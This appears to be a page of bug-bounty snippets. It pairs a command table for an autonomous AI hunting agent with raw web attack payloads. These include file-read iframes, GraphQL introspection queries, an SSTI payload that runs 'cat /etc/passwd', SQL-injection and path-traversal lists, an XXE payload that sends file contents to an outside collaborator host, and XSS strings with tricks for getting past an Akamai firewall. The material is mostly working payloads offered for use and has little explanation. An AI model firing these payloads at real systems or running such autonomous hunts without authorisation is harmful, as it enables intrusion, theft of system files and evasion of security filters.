ratnadip1998

/recon <target> 	Full recon — subdomains, live hosts, URLs, tech 	ReconAgent
/hunt <target> 	Active vulnerability testing (33 classes) 	AutopilotAgent
/autopilot <target> <mode> 	Full autonomous hunt loop 	AutopilotAgent
/validate 	7-Question Gate on findings 	ValidatorAgent
/report 	Generate submission-ready report 	ReportWriter
/triage 	Quick go/no-go check 	ValidatorAgent
/chain 	Build exploit chains 	ChainBuilder
/scope <asset> 	Verify asset is in scope 	—
/intel <target> 	CVEs, disclosed reports 	—
/takeover 	Subdomain takeover check 	—

ratnadip1998

We couldn’t find that file to show.

ratnadip1998

<iframe src="file:///etc/passwd" height="1000px" width="1000px"></iframe>

<iframe src=\"https://example.com/\"></iframe>


<!-- Using base HTML tag -->
<base href="http://127.0.0.1" />

<!-- Loading external stylesheet/script -->
<link rel="stylesheet" src="http://127.0.0.1" />

ratnadip1998

{
  "query": "{ __typename }"
}

---------------------

{
  "query": "{ __schema { queryType { name } mutationType { name } subscriptionType { name } } }"
}

ratnadip1998

# SSTI payloads (one per line)
#   payload||expected_output
# Example confirm:
#   {{7*7}}||49
#
# File-read confirm example:
#   {{lipsum.__globals__['os'].popen('cat /etc/passwd').read()}}||root:x:0:0

# Safe math confirms
{{7*7}}||49

ratnadip1998

'
''
`
"
""
%
,
\
')
")

ratnadip1998

etc/passwd
/etc/passwd
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd
../../../../../../../etc/passwd
../../../../../../../../etc/passwd

ratnadip1998

1. SQLI:
'
"
') 
")
'))
"))
'--
"-- 
'#

ratnadip1998

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://%file%.h6ojcmzsjqtnjvjyv6als7vbl2rtfp3e.oastify.com/'>">
%eval;

ratnadip1998

##Rare Cases
*/</script><script>alert()/*
'href=javascript:alert()>click me<a/y='
"autofocus onclick=’&#97;lert()'

Akamai Tricks & Tips
* alert()  => window['alert']()
* alert() => this['alert']()
* alert() => (alert)()
* alert() => eval(atob('YWxlcnQoKQ=='))